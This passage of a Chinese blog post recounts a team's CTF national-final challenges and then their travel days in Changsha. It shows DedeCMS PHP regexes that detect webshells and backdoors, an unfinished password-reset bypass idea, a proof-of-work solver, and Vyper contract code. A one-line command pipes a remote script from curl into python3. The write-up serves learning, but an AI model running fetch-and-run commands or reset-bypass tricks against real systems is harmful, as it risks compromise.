class="string">&quot;#(src)[\s]*(=)[\s]*[\&quot;|&#x27;][\s]*((http|https)(:\/\/)[\S]*)[\&quot;|&#x27;]#i&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>, <span class="variable">$subject</span>);</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable">$subject</span>[<span class="number">3</span>] <span class="keyword">as</span> <span class="variable">$url</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#^(http|https):\/\/#i&quot;</span>, <span class="variable">$url</span>) &amp;&amp; !<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#^(http|https):\/\/<span class="subst">&#123;$_SERVER[&#x27;HTTP_HOST&#x27;]&#125;</span>#i&quot;</span>, <span class="variable">$url</span>)) &#123;</span><br><span class="line">                <span class="keyword">die</span>(<span class="string">&quot;DedeCMS提示：非本站资源无法访问！&lt;pre&gt;<span class="subst">&#123;$url&#125;</span>&lt;/pre&gt;&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#^[\s\S]+&lt;\?(php|=)?[\s]+#i&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span> &amp;&amp; <span class="title function_ invoke__">json_encode</span>(<span class="variable">$content</span>) !== <span class="literal">FALSE</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span>) &#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="title function_ invoke__">dede_htmlspecialchars</span>(<span class="variable">$content</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;DedeCMS提示：当前上传的文件中存在木马！&lt;pre&gt;<span class="subst">&#123;$content&#125;</span>&lt;/pre&gt;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span>) &#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="title function_ invoke__">dede_htmlspecialchars</span>(<span class="variable">$content</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;DedeCMS提示：当前上传的文件中存在木马！&lt;pre&gt;<span class="subst">&#123;$content&#125;</span>&lt;/pre&gt;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#[`][\s\S]*[`]#i&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span>) &#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="title function_ invoke__">dede_htmlspecialchars</span>(<span class="variable">$content</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;DedeCMS提示：当前上传的文件中存在后门！&lt;pre&gt;<span class="subst">&#123;$content&#125;</span>&lt;/pre&gt;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#[&#x27;\&quot;][\^][&#x27;\&quot;]#i&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span>) &#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="title function_ invoke__">dede_htmlspecialchars</span>(<span class="variable">$content</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;DedeCMS提示：当前上传的文件中存在后门！&lt;pre&gt;<span class="subst">&#123;$content&#125;</span>&lt;/pre&gt;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>直到最后都没有成功，而且这个 CMS 连接我们的数据库特别的慢（指一个请求三十秒没完成）</p><h3 id="ctos1"><a href="#ctos1" class="headerlink" title="ctos1"></a>ctos1</h3><blockquote><p> 这个题目附件给了我们一个 zip，我们一开始还以为需要解压这个 zip 才能做，结果后来发现是不用的……</p><p>（下图人话：用你第一题的 flag 来解压文件）</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518104342-9rduxy7.png"></p></blockquote><p>打开提供的网页，是一个教务系统的登录，尝试进入重置密码的界面，在登录账号处输入账号，如果不存在会提示用户不存在，所以我们可以根据这个提示得到用户</p><p>最终我们得到了两个用户：<code>xs001</code>、<code>admin</code></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518105929-z0qcx67.png"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518105953-ah1q4pf.png"></p><p>接着，我们尝试了一下重置密码，就什么都不提供的发送请求</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518110848-4xbtez9.png"></p><p>看请求应该是先判断 encoded 对应的账户是不是管理员，然后重置密码的时候看的是account的账户，所以如果encoded对应的是非管理员用户就有可能绕过这个限制直接重置管理员账户的密码，encoded 是用户名的 b64 编码</p><p>在登录页面，我们发现登录是 POST 路由 <code>/bzd_jsxsd/xk/LoginToXk</code></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518111228-jtrg61k.png"></p><p>其中 userAccount 是用户名，userPassword 为空，encoded 是用户名+密码的组合，例如使用用户名 xs001 和密码 abc 组合后为 <code>xs001%%%abc</code>，然后经过 Base64 编码 + URL 编码</p><p>没找到更多入口了，跑路了</p><h3 id="pokemongo"><a href="#pokemongo" class="headerlink" title="pokemongo"></a>pokemongo</h3><blockquote><p>pokemon go 提示：</p><ul><li>fight_internal 为什么调用只使用了一个参数？</li><li>结合让攻击力变大的方法通过题目吧</li></ul></blockquote><blockquote><p> 题目描述:</p><p>现身！月亮与太阳的化身！ nc 10.110.0.5 31337</p><p>╰─ nc 10.110.0.5 31337<br> 1 - launch new instance<br> 2 - kill instance<br> 3 - get flag (if is_Solved() is true)<br> action? 1</p><p>&#x3D;&#x3D; PoW &#x3D;&#x3D;<br>  sha256(“c33b6138cf7ba005” + YOUR_INPUT) must start with 24 zeros in binary representation<br>  please run the following command to solve it:<br>    python3 &lt;(curl -sSL <a href="https://minaminao.github.io/tools/solve-pow.py">https://minaminao.github.io/tools/solve-pow.py</a>) c33b6138cf7ba005 24</p><p>  YOUR_INPUT &#x3D;</p></blockquote><p>这个题目我们上来就在猜是不是 web3 的题目，结果还真是</p><div class="note info flat"><p>有这么一个小趣事：在这次比赛之前，我是有做梦梦到过线下赛出 web3 题目的，但是当时并没有太过于关注这个梦，现在这个梦成真了……</p></div><p>根据题目给我们的输出，<code>sha256(&quot;c33b6138cf7ba005&quot; + YOUR_INPUT) must start with 24 zeros in binary representation</code>，我们输入的内容加在题目提供的字符串后面，进行 sha256 的计算后，这个结果由 24 个二进制 0 开头，也就是说计算得到的哈希值一定为 6 个 <code>0</code> 开头，于是就有了我们的脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"><span class="keyword">from</span> string <span class="keyword">import</span> ascii_letters, digits</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> combinations</span><br><span class="line"></span><br><span class="line">remote_addr = <span class="string">&#x27;10.110.0.5&#x27;</span></span><br><span class="line">remote_port = <span class="number">31337</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">verify_sha256</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">return</span> sha256(s.encode()).hexdigest().startswith(<span class="string">&quot;0&quot;</span>*<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc_sha256</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">return</span> sha256(s.encode()).hexdigest()</span><br><span class="line"></span><br><span class="line"><span class="built_in">dict</span> = ascii_letters + digits</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line">    <span class="comment"># context.log_level = &quot;DEBUG&quot;</span></span><br><span class="line">    </span><br><span class="line">    p = remote(remote_addr ,remote_port)</span><br><span class="line">    p.recvuntil(<span class="string">b&quot;action?&quot;</span>)</span><br><span class="line">    p.sendline(<span class="string">b&quot;1&quot;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;sha256(&quot;&#x27;</span>)</span><br><span class="line">    pre = p.recv(<span class="number">16</span>).decode()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[~] pre = <span class="subst">&#123;pre&#125;</span>&quot;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">b&quot;YOUR_INPUT =&quot;</span>)</span><br><span class="line"></span><br><span class="line">    count = <span class="number">1</span></span><br><span class="line">    solved = <span class="literal">False</span></span><br><span class="line">    my_input = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">not</span> solved:</span><br><span class="line">        <span class="keyword">for</span> combination <span class="keyword">in</span> combinations(<span class="built_in">dict</span>, count):</span><br><span class="line">            s = pre + <span class="string">&quot;&quot;</span>.join(combination)</span><br><span class="line">            <span class="comment"># print(f&quot;[~] WORKING:&quot;, s, end=&quot;\r&quot;)</span></span><br><span class="line">            <span class="keyword">if</span> verify_sha256(s):</span><br><span class="line">                my_input = s[<span class="number">16</span>:]</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;[+] SOLVED: &quot;</span>, s , my_input)</span><br><span class="line">                solved = <span class="literal">True</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        count += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    p.sendline(my_input.encode())</span><br><span class="line">    p.recvuntil(<span class="string">b&quot;here&#x27;s some useful information&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;[+] Deploying...&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(p.recvall().decode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    exp()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>完成后会给我们返回一个钱包的私钥，这个钱包里面有米，但说实话，我们不会做 web3 的题目，只能放掉了，下面提供一下我们找到的源码吧</p><p>比赛后我们学校两个队在讨论的时候，隔壁队说这个应该是 vyper</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#@version ^0.3.7</span></span><br><span class="line"></span><br><span class="line">Gyarados_hp: public(int256) </span><br><span class="line">rounds: public(uint256)</span><br><span class="line">struct pokemon:</span><br><span class="line">    name: String[<span class="number">1</span>]</span><br><span class="line">    health: int256</span><br><span class="line">    atk: int256</span><br><span class="line"></span><br><span class="line">Necrozma: public(pokemon)</span><br><span class="line"></span><br><span class="line">Solgaleo: public(pokemon)</span><br><span class="line"></span><br><span class="line">Dusk_Mane_Necrozma: public(pokemon)</span><br><span class="line"></span><br><span class="line">upgraded: public(<span class="built_in">bool</span>)</span><br><span class="line"></span><br><span class="line">win: public(<span class="built_in">bool</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@external</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>():</span><br><span class="line">    self.rounds=<span class="number">5</span></span><br><span class="line">    self.Necrozma.health=<span class="number">200</span></span><br><span class="line">    self.Necrozma.atk=<span class="number">100</span></span><br><span class="line">    self.Solgaleo.health=<span class="number">150</span></span><br><span class="line">    self.Solgaleo.atk=<span class="number">50</span>    </span><br><span class="line">    self.Gyarados_hp=<span class="number">100000</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@external </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">autophagy</span>(<span class="params">_<span class="built_in">id</span>:uint256</span>):</span><br><span class="line">    <span class="keyword">if</span> _<span class="built_in">id</span>==<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">assert</span> self.Solgaleo.health&lt;=<span class="number">1000</span> ,<span class="string">&quot;Crazy man...&quot;</span></span><br><span class="line">        self.Solgaleo.health+=<span class="number">10</span></span><br><span class="line">        self.Solgaleo.atk-=<span class="number">3</span></span><br><span class="line">    <span class="keyword">if</span> _<span class="built_in">id</span>==<span class="number">2</span>:</span><br><span class="line">        <span class="keyword">assert</span> self.Necrozma.health&lt;=<span class="number">1000</span> ,<span class="string">&quot;Crazy man...&quot;</span></span><br><span class="line">        self.Necrozma.health+=<span class="number">50</span></span><br><span class="line">        self.Necrozma.atk-=<span class="number">7</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@external</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">game_init</span>(<span class="params">_name: String[<span class="number">1</span>],_name2: String[<span class="number">1</span>]</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@internal</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fight_internal</span>(<span class="params">power_1:int256=<span class="number">0</span> ,power_2:int256=<span class="number">2</span>**<span class="number">254</span></span>) -&gt; int256:</span><br><span class="line">    <span class="keyword">return</span> power_1-power_2</span><br><span class="line"></span><br><span class="line"><span class="meta">@external</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">set_name</span>(<span class="params">_name1: String[<span class="number">1</span>],_name2: String[<span class="number">1</span>]</span>):</span><br><span class="line">    <span class="keyword">assert</span> self.upgraded==<span class="literal">False</span>,<span class="string">&quot;NO&quot;</span></span><br><span class="line">    self.Necrozma.name=_name1</span><br><span class="line">    self.Solgaleo.name=_name2</span><br><span class="line">    </span><br><span class="line"><span class="meta">@external</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fight</span>(<span class="params">_<span class="built_in">id</span>:uint256</span>):</span><br><span class="line">    <span class="keyword">assert</span> self.rounds&gt;<span class="number">0</span> , <span class="string">&quot;no more chance&quot;</span></span><br><span class="line">    self.rounds-=<span class="number">1</span></span><br><span class="line"><span class="comment"># Maybe only one chance?...</span></span><br><span class="line">    <span class="keyword">if</span> _<span class="built_in">id</span>==<span class="number">1</span> <span class="keyword">and</span> self.upgraded==<span class="literal">False</span>:</span><br><span class="line">        <span class="keyword">assert</span> self.Necrozma.health&gt;<span class="number">0</span>,<span class="string">&quot;dead&quot;</span></span><br><span class="line">        power: int256=self.fight_internal(self.Necrozma.atk)</span><br><span class="line">        <span class="keyword">assert</span> power&gt;<span class="number">0</span>, <span class="string">&quot;Too weak....&quot;</span></span><br><span class="line">        self.Necrozma.health-=<span class="number">50</span></span><br><span class="line">        <span class="keyword">if</span> self.Gyarados_hp&lt;=power:</span><br><span class="line">            self.win=<span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">elif</span> _<span class="built_in">id</span>==<span class="number">2</span> <span class="keyword">and</span> self.upgraded==<span class="literal">False</span>:</span><br><span class="line">        <span class="keyword">assert</span> self.Solgaleo.health&gt;<span class="number">0</span>,<span class="string">&quot;dead&quot;</span></span><br><span class="line">        power: int256=self.fight_internal(self.Solgaleo.atk)</span><br><span class="line">        <span class="keyword">assert</span> power&gt;<span class="number">0</span>, <span class="string">&quot;Too weak....&quot;</span></span><br><span class="line">        self.Solgaleo.health-=<span class="number">50</span></span><br><span class="line">        <span class="keyword">if</span> self.Gyarados_hp&lt;=power:</span><br><span class="line">            self.win=<span class="literal">True</span></span><br><span class="line">    <span class="keyword">elif</span> _<span class="built_in">id</span>==<span class="number">3</span>:</span><br><span class="line">        <span class="keyword">assert</span> self.upgraded==<span class="literal">True</span>, <span class="string">&quot;Do something first&quot;</span></span><br><span class="line">        power: int256=self.fight_internal(self.Dusk_Mane_Necrozma.atk)</span><br><span class="line">        <span class="keyword">assert</span> power&gt;<span class="number">0</span>, <span class="string">&quot;Too weak....&quot;</span></span><br><span class="line">        self.rounds=<span class="number">1</span></span><br><span class="line">        <span class="comment"># Really??? </span></span><br><span class="line">        <span class="keyword">if</span> self.Gyarados_hp&lt;=power:</span><br><span class="line">            self.win=<span class="literal">True</span></span><br><span class="line">    self.rounds-=<span class="number">1</span></span><br><span class="line"> </span><br><span class="line"><span class="meta">@internal</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_upgraded</span>() -&gt; int256:</span><br><span class="line">    a: int256 = self.Necrozma.atk</span><br><span class="line">    b: int256 = self.bar()</span><br><span class="line">    <span class="keyword">return</span> a+b</span><br><span class="line"></span><br><span class="line"><span class="meta">@external</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">do_combine</span>():</span><br><span class="line">    self.upgraded=<span class="literal">True</span></span><br><span class="line">    self.Dusk_Mane_Necrozma.atk=self.get_upgraded()</span><br><span class="line">    </span><br><span class="line"><span class="meta">@internal</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">bar</span>() -&gt; int256:</span><br><span class="line">    combined_name: String[<span class="number">2</span>] = concat(self.Necrozma.name, self.Solgaleo.name) </span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@external</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_Solved</span>() -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    <span class="keyword">return</span> self.win</span><br></pre></td></tr></table></figure><p>题目的二进制产物</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x346109aa57600560015560c8600455606460055560966008556032600955620186a060005561097361003661000039610973610000f36003361161000c576108be565b60003560e01c346109615763b965f6a181186101605760243610610961576001600435186100c4576103e8600854131561009d57600c6040527f4372617a79206d616e2e2e2e000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b600854600a8101818112610961579050600855600954600381038181136109615790506009555b60026004351861015e576103e8600454131561013757600c6040527f4372617a79206d616e2e2e2e000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b60045460328101818112610961579050600455600554600781038181136109615790506005555b005b63d02b607d81186101b757608436106109615760043560040160018135116109615780358060405260208201803560605250505060243560040160018135116109615780358060805260208201803560a052505050005b63e1430e06811861028f57608436106109615760043560040160018135116109615780358060405260208201803560605250505060243560040160018135116109615780358060805260208201803560a052505050600e541561027157600260c0527f4e4f00000000000000000000000000000000000000000000000000000000000060e05260c05060c0518060e001601f826000031636823750506308c379a0608052602060a052601f19601f60c0510116604401609cfd5b60405180600255606051600355506080518060065560a05160075550005b63df6a37aa811861069357602436106109615760015461030657600e6080527f6e6f206d6f7265206368616e636500000000000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b6001546001810381811161096157905060015560016004351861032c57600e541561032f565b60005b61056f5760026004351861034657600e5415610349565b60005b61045c5760036004351861067e576001600e5418156103bf5760126080527f446f20736f6d657468696e67206669727374000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b600d5460405260006060526103d460a06108c4565b60a0516080526001608051121561044257600c60a0527f546f6f207765616b2e2e2e2e000000000000000000000000000000000000000060c05260a05060a0518060c001601f826000031636823750506308c379a06060526020608052601f19601f60a0510116604401607cfd5b60016001556080516000541361067e576001600f5561067e565b600160085412156104c45760046080527f646561640000000000000000000000000000000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b60095460405260006060526104d960a06108c4565b60a0516080526001608051121561054757600c60a0527f546f6f207765616b2e2e2e2e000000000000000000000000000000000000000060c05260a05060a0518060c001601f826000031636823750506308c379a06060526020608052601f19601f60a0510116604401607cfd5b600854603281038181136109615790506008556080516000541361067e576001600f5561067e565b600160045412156105d75760046080527f646561640000000000000000000000000000000000000000000000000000000060a0526080506080518060a001601f826000031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b60055460405260006060526105ec60a06108c4565b60a0516080526001608051121561065a57600c60a0527f546f6f207765616b2e2e2e2e000000000000000000000000000000000000000060c05260a05060a0518060c001601f826000031636823750506308c379a06060526020608052601f19601f60a0510116604401607cfd5b600454603281038181136109615790506004556080516000541361067e576001600f555b60015460018103818111610961579050600155005b63f589d1a081186106bf5760043610610961576001600e556106b661012061092b565b61012051600d55005b63fa73a16c81186106de576004361061096157600f5460405260206040f35b63fd23d16881186106fd57600436106109615760005460405260206040f35b63a2e800ad811861071c57600436106109615760015460405260206040f35b633a956e74811861079257600436106109615760208060405280604001606080825280820160025480825260208201600354815250508051806020830101601f82600003163682375050601f19601f82516020010116905081019050600454602083015260055460408301529050810190506040f35b631b05174c811861080857600436106109615760208060405280604001606080825280820160065480825260208201600754815250508051806020830101601f82600003163682375050601f19601f82516020010116905081019050600854602083015260095460408301529050810190506040f35b63fb905dc8811861087e576004361061096157602080604052806040016060808252808201600a5480825260208201600b54815250508051806020830101601f82600003163682375050601f19601f82516020010116905081019050600c546020830152600d5460408301529050810190506040f35b63c28de2cd811861089d576004361061096157600e5460405260206040f35b63473ca96c81186108bc576004361061096157600f5460405260206040f35b505b60006000fd5b60405160605180820382811360008312186109615790509050815250565b60006002548160a0016003548152508082019150506006548160a00160075481525080820191505080608052608090508051806040526020820180516060525050506001815250565b60055460c05261093c6101006108e2565b6101005160e05260c05160e05180820182811260008312186109615790509050815250565b600080fda165767970657283000307000b005b600080fd</span><br></pre></td></tr></table></figure><p>我顺带试了一下题目提供的那个网络上的破解脚本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">╰─ python3 &lt;(curl -sSL https://minaminao.github.io/tools/solve-pow.py) c33b6138cf7ba005 24                                                                                                       ─╯ </span><br><span class="line">your_input = b<span class="string">&#x27;42350263&#x27;</span></span><br><span class="line">digest.hex() = <span class="string">&#x27;00000079df581a1f503ae965ec65731ab3a5bd08acd2be21b78a9450d08a0c58&#x27;</span></span><br><span class="line">time.time() - start_time = 59.04572939872742</span><br></pre></td></tr></table></figure><p>还是能用的</p><h3 id="app-debug"><a href="#app-debug" class="headerlink" title="app debug"></a>app debug</h3><p>这个题目应该算是福利题，根据 J 佬自己的话说就一个 XTEA，但是在比赛的时候脚本写错了没找到问题导致没做出来</p><h2 id="旅游"><a href="#旅游" class="headerlink" title="旅游"></a>旅游</h2><p>终于快进到旅游环节了嘛（耶~~~</p><h3 id="Day-1-2025-5-16-Fri"><a href="#Day-1-2025-5-16-Fri" class="headerlink" title="Day 1 (2025.5.16 Fri.)"></a>Day 1 (2025.5.16 Fri.)</h3><p>我们其实本来是一个队伍周五一起去的，但是 Jeremiah 受邀参加腾讯游戏安全的那个会议了，然后 Ron 周五要考线性代数，结果只有我和 Rusty 两个人第一天去</p><p>我们订的酒店是一家民宿，本来我们是打算定大广场的酒店的，但是那家酒店没有洗衣房（问就是深圳亚朵惯的），所以我们最后挑来挑去，挑到了这家民宿，它甚至跟大广场的那个酒店是同一价位，但是环境和配置不输给亚朵</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049625.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049039.jpg"></p><p>鉴定为 <code>买家秀 == 卖家秀</code>，携程上的图片与实际完全相符，好评没跑了</p><p>然后我们发现湖南大学那边大学跟社区是完全连在一起的，意思就是说你走在一条街上，这条街属于社区，也属于湖南大学，完全就融为一体了</p><p>我们住的民宿从小路出来对面就是广场，左手边就是小吃街，所以我们两个晚餐就是在这条街上解决的。当然来长沙少不了茶颜悦色，所以第一天就已经点了一杯茶颜悦色喝了（忘拍照了）</p><p>第一天晚上刚好我在改 B 站新规下的产物（<a href="https://github.com/GamerNoTitle/BiliLive-Utility">https://github.com/GamerNoTitle/BiliLive-Utility</a>），所以当天很晚了我还没睡，刚好这家酒店在入住的当天，每间房都会赠送一杯鸡尾酒，刚好我和 Rusty 两个人一人一杯，不喝白不喝，所以我们在十点半的时候又去喝了一杯鸡尾酒</p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049321.jpg" style="zoom: 10%;" /><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049422.jpg" style="zoom: 10%;" /><p>据说这杯酒在很多的酒吧都有，是常客，咱也不懂，但是头一次和鸡尾酒以外的挺不错</p><p>这杯酒的名字叫做 <code>丛林鸟</code></p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/Screenshot_2025-05-16-22-47-23-79_e39d2c7de19156b.jpg" style="zoom:25%;" /><p>喝完以后我也是在凌晨 1:34 的时候发了我的 Release，然后就睡觉了</p><h3 id="Day-2-2025-5-17-Sat"><a href="#Day-2-2025-5-17-Sat" class="headerlink" title="Day 2 (2025.5.17 Sat.)"></a>Day 2 (2025.5.17 Sat.)</h3><p>因为我和 Rusty 商量要试试民宿的早餐，于是我订了个 9 点的闹钟起来了。民宿的早餐不是自助餐，但是还不错，他是在餐厅里面有个阿姨给客人煮，我这一份是肉丝粉条（应该叫 <code>粿条</code> 梗合适，反正就是河粉那一类的）</p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/1748170049368.jpg" style="zoom:10%;" /><p>是微辣口的，大概率是因为锅自己已经被辣椒渗透了，所以我吃起来是微辣口的，以外的还不错诶</p><p>吃完以后就回房间里面休息了，说是休息其实我在打矢量突破（<del>然后被 Mechanist 